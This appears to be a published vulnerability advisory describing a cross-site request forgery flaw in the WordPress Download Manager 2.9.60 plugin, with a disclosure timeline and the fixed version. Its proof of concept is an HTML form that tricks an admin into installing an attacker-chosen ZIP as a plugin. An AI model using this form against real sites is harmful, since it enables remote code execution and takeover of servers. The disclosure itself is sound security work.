WordPress Plugin WordPress Download Manager 2.9.60 - Cross-Site Request Forgery

* Exploit Title: WordPress Download Manager [CSRF]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: https://www.wpdownloadmanager.com/
* Software Link: https://wordpress.org/plugins/download-manager
* Version: 2.9.60
* Tested on: WordPress 4.9.1
* Category: WebApps, WordPress


Description
-----------

Plugin implements the AJAX action `wpdm-install-addon` which calls the
function `wpdm_install_addon`. This function doesn't take any anti-CSRF
measures thus making it susceptible to those kind of attacks.

What is interesting about this function though, is the fact that it
provides plugin installation functionality for admin users. The origin of
the package is defined by the `$_REQUEST['addon']` if is set without any
validation.

A malicious actor can exploit this to install a malicious plugin in the
vulnerable site. In fact the install package doesn't need to be a valid
plugin, it could just contain malicious code. Because the package is
extracted in the `/wp-content/plugins/` dir without changing it's original
folder structure, an attacker could leverage the CSRF to upload malicious
code and execute the code on the infected server.

PoC
---

```
<pre class="lang:html decode:true "><form method="post" action="http://vuln.dev/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="wpdm-install-addon">
    <label> This is the remote url to get plugin from. Everything is valid as long as it's a ZIP archive and ends with .zip
        <input type="text" name="addon" value="https://downloads.wordpress.org/plugin/bbpress.2.5.13.zip">
    </label>
    <button type="submit" value="Submit">Submit</button>
</form>

```

Solution
--------

Update to version 2.9.61.

Timeline
--------

1. **2017-12-12**: Discovered
2. **2017-12-14**: Tried to reach out to vendor using support email address
3. **2017-12-16**: Vendor replied
4. **2017-12-16**: Vendor received details
5. **2017-12-21**: Vendor released a fix